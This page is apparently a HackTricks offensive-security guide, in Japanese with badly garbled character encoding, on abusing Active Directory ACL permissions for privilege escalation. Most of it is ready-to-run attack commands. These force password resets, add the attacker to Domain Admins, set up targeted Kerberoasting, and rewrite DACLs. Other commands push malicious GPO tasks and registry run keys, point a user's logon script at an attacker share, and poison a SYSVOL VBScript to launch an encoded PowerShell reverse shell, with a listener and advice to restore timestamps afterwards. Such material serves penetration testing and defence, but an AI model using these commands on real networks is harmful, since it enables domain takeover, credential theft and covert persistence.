Active Directory ACLs/ACEs ã®æªçš
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ãã®ããŒãžã¯äž»ã« https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces ãš https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privilegesã®æè¡ã®èŠçŽã§ãã詳现ã¯å ã®èšäºãåç §ããŠãã ããã
BadSuccessor
ãŠãŒã¶ãŒã«å¯Ÿãã GenericAll æš©é
ãã®æš©éã¯æ»æè
ã«å¯Ÿè±¡ãŠãŒã¶ãŒã¢ã«ãŠã³ããå®å
šã«å¶åŸ¡ããèœåãäžããŸããGet-ObjectAcl ã³ãã³ãã§ GenericAll æš©éã確èªããããšãæ»æè
ã¯æ¬¡ã®ããšãã§ããŸã:
- 察象ã®ãã¹ã¯ãŒãã倿Žãã:
net user <username> <password> /domainã䜿çšããŠãæ»æè ã¯ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãããªã»ããã§ããŸãã - Linux ããã¯ãSAMR ãä»ã㊠Samba ã®
net rpcã§åæ§ã®ããšãã§ããŸã:
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
- ã¢ã«ãŠã³ããç¡å¹ã«ãªã£ãŠããå Žåã¯ãUACãã©ã°ãã¯ãªã¢ãã:
GenericAllã¯userAccountControlã®ç·šéãèš±å¯ããŸããLinux ãããBloodyAD ã¯ACCOUNTDISABLEãã©ã°ãåé€ã§ããŸã:
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
- Targeted Kerberoasting: ãŠãŒã¶ãŒã®ã¢ã«ãŠã³ãã«SPNãå²ãåœãŠãŠkerberoastableã«ãããã®åŸRubeusãštargetedKerberoast.pyã䜿çšããŠticket-granting ticket (TGT)ããã·ã¥ãæœåºããcrackã詊ã¿ãã
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
- Targeted ASREPRoasting: ãŠãŒã¶ãŒã® pre-authentication ãç¡å¹ã«ãããã®ã¢ã«ãŠã³ãã ASREPRoasting ã«å¯ŸããŠè匱ã«ããŸãã
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
- Shadow Credentials / Key Credential Link: ãŠãŒã¶ãŒã«
GenericAllãããå ŽåãèšŒææžããŒã¹ã®è³æ Œæ å ±ã远å ããŠããã¹ã¯ãŒãã倿Žããããšãªããã®ãŠãŒã¶ãŒãšããŠèªèšŒã§ããŸããåç §:
GenericAll ãã°ã«ãŒãã«å¯Ÿããæš©å©
ãã®æš©éã«ãããæ»æè
㯠Domain Admins ã®ãããªã°ã«ãŒãã§ GenericAll æš©éãæã€ãšãã«ã°ã«ãŒãã¡ã³ããŒã·ãããæäœã§ããŸããGet-NetGroup ã§ã°ã«ãŒãã®èå¥å (distinguished name) ãç¹å®ããåŸãæ»æè
ã¯ä»¥äžãè¡ããŸã:
- Domain Admins ã°ã«ãŒãã«èªåèªèº«ã远å ãã: ããã¯çŽæ¥ã³ãã³ãã䜿çšããããActive Directory ã PowerSploit ã®ãããªã¢ãžã¥ãŒã«ã䜿ã£ãŠè¡ããŸãã
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
- Linuxããã¯ãBloodyADãå©çšããŠã察象ã®ã°ã«ãŒãã«å¯ŸããŠGenericAll/Writeã®ã¡ã³ããŒã·ãããä¿æããŠããå Žåã«ä»»æã®ã°ã«ãŒããžèªåã远å ããããšãã§ããŸããã¿ãŒã²ããã°ã«ãŒããâRemote Management Usersâã«ãã¹ããããŠããå Žåããã®ã°ã«ãŒããé©çšããŠãããã¹ãã§ã¯å³åº§ã«WinRMã¢ã¯ã»ã¹ãååŸã§ããŸã:
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
# If the target group is member of "Remote Management Users", WinRM becomes available
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
GenericAll / GenericWrite / Write on Computer/User
ã³ã³ãã¥ãŒã¿ãŒãªããžã§ã¯ãããŠãŒã¶ãŒã¢ã«ãŠã³ãã§ãããã®æš©éãä¿æããŠãããšã次ã®ããšãå¯èœã«ãªããŸã:
- Kerberos Resource-based Constrained Delegation: ã³ã³ãã¥ãŒã¿ãŒãªããžã§ã¯ããä¹ã£åãããšãå¯èœã«ãªããŸãã
- Shadow Credentials: ãã®ææ³ãçšããŠã圱ã®è³æ Œæ å ±ãäœæããæš©éãæªçšããã³ã³ãã¥ãŒã¿ãŒãŸãã¯ãŠãŒã¶ãŒã¢ã«ãŠã³ãã«ãªãããŸãããšãã§ããŸãã
WriteProperty on Group
ãããŠãŒã¶ãŒãç¹å®ã®ã°ã«ãŒãïŒäŸ: Domain AdminsïŒã«å¯Ÿãããã¹ãŠã®ãªããžã§ã¯ãã®WritePropertyæš©éãæã£ãŠããå Žåãæ¬¡ã®ããšãå¯èœã«ãªããŸã:
- Add Themselves to the Domain Admins Group:
net userãšAdd-NetGroupUserã³ãã³ããçµã¿åãããããšã§å®çŸå¯èœã§ããã®æ¹æ³ã«ãããã¡ã€ã³å ã§ã®æš©éææ Œãå¯èœã«ãªããŸãã
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
**Self (Self-Membership) on Group
ãã®ç¹æš©ã«ãããæ»æè
ã¯ã°ã«ãŒãã¡ã³ããŒã·ãããçŽæ¥æäœããã³ãã³ãã䜿ã£ãŠãDomain Admins ã®ãããªç¹å®ã®ã°ã«ãŒãã«èªåèªèº«ã远å ã§ããŸãã以äžã®ã³ãã³ãã·ãŒã±ã³ã¹ã䜿çšãããšãèªåèªèº«ã远å ã§ããŸã:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
WriteProperty (Self-Membership)
åæ§ã®æš©éã§ãæ»æè
ã¯åœè©²ã°ã«ãŒãã«å¯Ÿã㊠WriteProperty æš©éãæã£ãŠããå Žåãã°ã«ãŒãã®ããããã£ã倿Žããããšã§èªåèªèº«ãçŽæ¥ã°ã«ãŒãã«è¿œå ã§ããŸãããã®æš©éã®ç¢ºèªãšå®è¡ã¯æ¬¡ã®æ¹æ³ã§è¡ãããŸã:
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
ForceChangePassword
ãŠãŒã¶ãŒã«å¯ŸããŠUser-Force-Change-Passwordã®ExtendedRightãä¿æããŠãããšãçŸåšã®ãã¹ã¯ãŒããç¥ããªããŠããã¹ã¯ãŒãããªã»ããã§ããŸãããã®æš©å©ã®ç¢ºèªããã³æªçšã¯PowerShellãä»ã®ã³ãã³ãã©ã€ã³ããŒã«ã§è¡ãã察話åã»ãã·ã§ã³ãé察話åç°å¢åãã®ã¯ã³ã©ã€ããŒãªã©ããŠãŒã¶ãŒã®ãã¹ã¯ãŒãããªã»ããããè€æ°ã®æ¹æ³ãæäŸãããŠããŸããã³ãã³ãã¯åçŽãªPowerShellåŒã³åºãããLinuxäžã§ã®rpcclientã®äœ¿çšãŸã§åã³ãattack vectorsã®å€æ§æ§ã瀺ããŠããŸãã
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
WriteOwner on Group
æ»æè
ãããã°ã«ãŒãã«å¯ŸããŠWriteOwneræš©éãæã£ãŠããããšãçºèŠããå Žåããã®ã°ã«ãŒãã®ææè
ãèªåã«å€æŽã§ããŸãã察象ã®ã°ã«ãŒããDomain Adminsã§ããå Žåããã®æäœã¯ç¹ã«åœ±é¿ã倧ãããæææš©ã倿Žããããšã§ã°ã«ãŒãã®å±æ§ãã¡ã³ããŒã·ããã«å¯ŸããŠããåºç¯ãªå¶åŸ¡ãå¯èœã«ãªããŸããæé ã¯Get-ObjectAclã§æ£ãããªããžã§ã¯ããç¹å®ããSet-DomainObjectOwnerã䜿çšããŠææè
ãSIDãŸãã¯ååã§å€æŽããããšãããã®ã§ãã
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
GenericWrite on ãŠãŒã¶ãŒ
ãã®æš©éã«ãããæ»æè
ã¯ãŠãŒã¶ãŒã®å±æ§ã倿Žã§ããŸããå
·äœçã«ã¯ãGenericWrite ã¢ã¯ã»ã¹ãæã€ããšã§ãæ»æè
ã¯ãŠãŒã¶ãŒã®ãã°ãªã³ã¹ã¯ãªããã®ãã¹ã倿ŽãããŠãŒã¶ãŒã®ãã°ãªã³æã«æªæã®ããã¹ã¯ãªãããå®è¡ãããããšãã§ããŸããããã¯ãSet-ADObject ã³ãã³ãã䜿çšããŠã¿ãŒã²ãããŠãŒã¶ãŒã® scriptpath ããããã£ãæ»æè
ã®ã¹ã¯ãªãããæãããã«æŽæ°ããããšã§å®çŸããŸãã
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
GenericWrite on Group
ãã®ç¹æš©ã«ãããæ»æè ã¯èªèº«ãä»ã®ãŠãŒã¶ãŒãç¹å®ã®ã°ã«ãŒãã«è¿œå ãããªã©ãã°ã«ãŒãã®ã¡ã³ããŒã·ãããæäœã§ããŸãããã®ããã»ã¹ã§ã¯ credential object ãäœæããããã䜿ã£ãŠãŠãŒã¶ãŒãã°ã«ãŒãã«è¿œå ãŸãã¯åé€ããPowerShell ã³ãã³ãã§ã¡ã³ããŒã·ããã®å€æŽã確èªããŸãã
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
- Linuxäžã§ã¯ãSamba
netã¯ã°ã«ãŒãã«å¯ŸããŠGenericWriteãä¿æããŠããå Žåãã¡ã³ããŒã®è¿œå /åé€ãå¯èœã§ãïŒPowerShell/RSAT ãå©çšã§ããªãå Žåã«äŸ¿å©ã§ãïŒïŒ
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
WriteDACL + WriteOwner
AD ãªããžã§ã¯ããææããã〠WriteDACL æš©éãæã£ãŠãããšãæ»æè
ã¯ãã®ãªããžã§ã¯ãã«å¯ŸããŠèªåèªèº«ã« GenericAll æš©éãä»äžã§ããŸãããã㯠ADSI ã®æäœã«ãã£ãŠéæããããªããžã§ã¯ãã®å®å
šãªå¶åŸ¡ãšã°ã«ãŒãã¡ã³ããŒã·ããã®å€æŽèœåãå¯èœã«ããŸããããããªãããActive Directory ã¢ãžã¥ãŒã«ã® Set-Acl / Get-Acl ã³ãã³ãã¬ããã䜿ã£ãŠãããã®æš©éãæªçšããããšããéã«ã¯å¶éããããŸãã
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
WriteDACL/WriteOwner ã䜿ã£ãè¿ éãªä¹ã£åã (PowerView)
ãŠãŒã¶ãŒãŸãã¯ãµãŒãã¹ã¢ã«ãŠã³ãã«å¯Ÿã㊠WriteOwner ãš WriteDacl ãæã£ãŠããå ŽåãPowerView ã䜿ã£ãŠå€ããã¹ã¯ãŒããç¥ããªããŠãã¢ã«ãŠã³ããå®å
šã«å¶åŸ¡ãããã¹ã¯ãŒãããªã»ããã§ããŸã:
# Load PowerView
. .\PowerView.ps1
# Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
# Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
泚æ:
- èªåã«
WriteOwneræš©éãããªãå Žåã¯ããŸãææè ãèªåã«å€æŽããå¿ èŠããããããããŸãã:
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
- ãã¹ã¯ãŒããªã»ããåŸã«ãä»»æã®ãããã³ã« (SMB/LDAP/RDP/WinRM) ã§ã¢ã¯ã»ã¹ãæ€èšŒããã
ãã¡ã€ã³äžã§ã®ã¬ããªã±ãŒã·ã§ã³ (DCSync)
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like DS-Replication-Get-Changes, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. Learn more about the DCSync attack here.
GPOã®å§ä»»
GPOã®å§ä»»
Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as offense\spotless is delegated GPO management rights, they may have privileges like WriteProperty, WriteDacl, and WriteOwner. These permissions can be abused for malicious purposes, as identified using PowerView: bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
GPOæš©éã®åæ
To identify misconfigured GPOs, PowerSploitâs cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
ç¹å®ã®ããªã·ãŒãé©çšãããŠããã³ã³ãã¥ãŒã¿ãŒ: Itâs possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
ç¹å®ã®ã³ã³ãã¥ãŒã¿ãŒã«é©çšãããŠããããªã·ãŒ: To see what policies are applied to a particular computer, commands like Get-DomainGPO can be utilized.
ç¹å®ã®ããªã·ãŒãé©çšãããŠããOU: Identifying organizational units (OUs) affected by a given policy can be done using Get-DomainOU.
You can also use the tool GPOHound to enumerate GPOs and find issues in them.
GPOã®æªçš - New-GPOImmediateTask
Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges:
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
GroupPolicy module - Abuse GPO
GroupPolicy moduleãã€ã³ã¹ããŒã«ãããŠããå Žåãæ°ãã GPO ãäœæããŠãªã³ã¯ããregistry values ã®ãããªèšå®ïŒpreferencesïŒãè¡ã£ãŠåœ±é¿ãåããã³ã³ãã¥ãŒã¿äžã§ backdoors ãå®è¡ãããããšãã§ããŸãããã®æ¹æ³ã¯ãGPO ãæŽæ°ããããŠãŒã¶ãã³ã³ãã¥ãŒã¿ã«ãã°ã€ã³ããŠåããŠå®è¡ãããŸã:
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
SharpGPOAbuse - Abuse GPO
SharpGPOAbuse ã¯ãæ°ãã GPOs ãäœæããããšãªããæ¢åã® GPOs ã«ã¿ã¹ã¯ã远å ãããèšå®ã倿ŽãããããŠæªçšããæ¹æ³ãæäŸããŸãããã®ããŒã«ã¯ã倿Žãé©çšããåã«æ¢åã® GPOs ãä¿®æ£ããããRSAT ããŒã«ã䜿ã£ãŠæ°ãããã®ãäœæããããšãå¿ èŠãšããŸã:
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
ããªã·ãŒã®åŒ·å¶æŽæ°
GPOã®æŽæ°ã¯éåžžçŽ90åããšã«è¡ãããŸãããã®ããã»ã¹ãéãããããç¹ã«å€æŽãé©çšããçŽåŸã«ã¯ãã¿ãŒã²ããã³ã³ãã¥ãŒã¿ã§gpupdate /forceã³ãã³ãã䜿çšããŠå³æã®ããªã·ãŒæŽæ°ã匷å¶ã§ããŸãããã®ã³ãã³ãã«ãããæ¬¡åã®èªåæŽæ°ãµã€ã¯ã«ãåŸ
ã€ããšãªãGPOãžã®å€æŽãé©çšãããŸãã
å éšã®ä»çµã¿
ç¹å®ã®GPOïŒäŸ: Misconfigured PolicyïŒã®Scheduled Tasksã調ã¹ããšãevilTaskã®ãããªã¿ã¹ã¯ã远å ãããŠããããšã確èªã§ããŸãããããã®ã¿ã¹ã¯ã¯ãã·ã¹ãã ã®åäœã倿Žãããæš©éãææ Œããããããããšãç®çãšããã¹ã¯ãªãããã³ãã³ãã©ã€ã³ããŒã«ã«ãã£ãŠäœæãããŸãã
New-GPOImmediateTaskã§çæãããXMLæ§æãã¡ã€ã«ã«ç€ºãããã¿ã¹ã¯ã®æ§é ã¯ãå®è¡ãããã³ãã³ãããã®ããªã¬ãŒãå«ããã¹ã±ãžã¥ãŒã«ã¿ã¹ã¯ã®è©³çްã瀺ããŸãããã®ãã¡ã€ã«ã¯ãGPOå
ã§ã¹ã±ãžã¥ãŒã«ã¿ã¹ã¯ãã©ã®ããã«å®çŸ©ã»ç®¡çãããŠãããã衚ããŠãããããªã·ãŒé©çšã®äžç°ãšããŠä»»æã®ã³ãã³ããã¹ã¯ãªãããå®è¡ããææ®µãæäŸããŸãã
ãŠãŒã¶ãŒãšã°ã«ãŒã
GPOã¯ã¿ãŒã²ããã·ã¹ãã äžã®ãŠãŒã¶ãŒãã°ã«ãŒãã®ã¡ã³ããŒã·ãããæäœããããšãå¯èœã«ããŸããUsers and Groupsããªã·ãŒãã¡ã€ã«ãçŽæ¥ç·šéããããšã§ãæ»æè
ã¯ããŒã«ã«ã®administratorsã°ã«ãŒãã®ãããªç¹æš©ã°ã«ãŒãã«ãŠãŒã¶ãŒã远å ã§ããŸããããã¯GPOç®¡çæš©éã®å§ä»»ãéããŠå¯èœãšãªããããªã·ãŒãã¡ã€ã«ã«æ°ãããŠãŒã¶ãŒãå«ãããã°ã«ãŒãã¡ã³ããŒã·ããã倿Žãããããããšãèš±ãããŸãã
Users and Groupsçšã®XMLæ§æãã¡ã€ã«ã¯ããããã®å€æŽãã©ã®ããã«å®è£ ããããã瀺ããŸãããã®ãã¡ã€ã«ã«ãšã³ããªã远å ããããšã§ãç¹å®ã®ãŠãŒã¶ãŒã«åœ±é¿ãåããã·ã¹ãã å šäœã§ææ Œããæš©éãä»äžã§ããŸãããã®æ¹æ³ã¯GPOæäœãéããçŽæ¥çãªæš©éææ Œææ®µãæäŸããŸãã
ããã«ãlogon/logoff scriptsã®å©çšãautorunsçšã®ã¬ãžã¹ããªããŒã®å€æŽã.msi filesçµç±ã§ã®ãœãããŠã§ã¢ã€ã³ã¹ããŒã«ãservice configurationsã®ç·šéãšãã£ããã³ãŒãå®è¡ãæ°žç¶åã®ããã®è¿œå ææ³ãèæ ®ã§ããŸãããããã®æè¡ã¯ãGPOã®æªçšãéããŠã¢ã¯ã»ã¹ãç¶æãã¿ãŒã²ããã·ã¹ãã ãå¶åŸ¡ããããŸããŸãªææ®µãæäŸããŸãã
SYSVOL/NETLOGON Logon Script Poisoning
\\<dc>\SYSVOL\<domain>\scripts\ ãŸã㯠\\<dc>\NETLOGON\ ã®äžã«ããæžã蟌ã¿å¯èœãªãã¹ã¯ãGPOãéããŠãŠãŒã¶ãŒãã°ãªã³æã«å®è¡ããããã°ãªã³ã¹ã¯ãªãããæ¹ããããããšãå¯èœã«ããŸããããã«ããããã°ãªã³ããŠãããŠãŒã¶ãŒã®ã»ãã¥ãªãã£ã³ã³ããã¹ãã§ã³ãŒããå®è¡ãããŸãã
ãã°ãªã³ã¹ã¯ãªããã®ç¹å®
- ãŠãŒã¶ãŒå±æ§ã確èªããŠèšå®ããããã°ãªã³ã¹ã¯ãªããã調ã¹ã:
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
- ãã¡ã€ã³å ±æãã¯ããŒã«ããŠãã·ã§ãŒãã«ãããã¹ã¯ãªãããžã®åç §ãæ€åºãã:
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
.lnkãã¡ã€ã«ãè§£æããŠãSYSVOL/NETLOGON ãæãã¿ãŒã²ããã解決ããïŒæçšãª DFIR ããªãã¯ã§ãçŽæ¥ GPO access ãæããªã attackers ã«åœ¹ç«ã€ïŒ:
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
- BloodHound ã¯ãååšããå ŽåããŠãŒã¶ãŒ ããŒãã«
logonScript(scriptPath) 屿§ã衚瀺ããŸãã
æžã蟌ã¿ã¢ã¯ã»ã¹ãæ€èšŒããïŒå ±æäžèЧãä¿¡çšããªãïŒ
èªååããŒã«ã¯ SYSVOL/NETLOGON ãèªã¿åãå°çšãšããŠè¡šç€ºããããšããããŸãããåºç€ãšãªã NTFS ACLs ãæžã蟌ã¿ãèš±å¯ããå ŽåããããŸããå¿ ããã¹ãããŠãã ãã:
# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
ãã¡ã€ã«ãµã€ãºã mtime ã倿ŽãããŠããå ŽåãæžãèŸŒã¿æš©éããããŸãã倿Žããåã«ãªãªãžãã«ãä¿åããŠãã ããã
Poison a VBScript logon script for RCE
PowerShell reverse shell ãèµ·åããã³ãã³ãã远èšãïŒrevshells.com ã§çæãããã®ã䜿çšïŒãæ¥åæ©èœãå£ããªãããã«å ã®ããžãã¯ã¯ç¶æããŠãã ãã:
' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
ãã¹ãã§åŸ ã¡åããæ¬¡ã®ã€ã³ã¿ã©ã¯ãã£ããã°ãªã³ãåŸ ã£ãŠãã ãã:
rlwrap -cAr nc -lnvp 443
ã¡ã¢:
- å®è¡ã¯ãã°ãªã³äžã®ãŠãŒã¶ãŒã®ããŒã¯ã³ã§è¡ãããŸãïŒnot SYSTEMïŒãã¹ã³ãŒãã¯ãã®ã¹ã¯ãªãããé©çšããŠãã GPO ãªã³ã¯ïŒOUãsiteãdomainïŒã§ãã
- 䜿çšåŸã¯å ã®ã³ã³ãã³ã/ã¿ã€ã ã¹ã¿ã³ãã埩å ããŠã¯ãªãŒã³ã¢ããããŠãã ããã
åèè³æ
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://wald0.com/?p=112
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
- https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
- https://adsecurity.org/?p=3658
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
- BloodyAD â AD attribute/UAC operations from Linux
- Samba â net rpc (group membership)
- HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


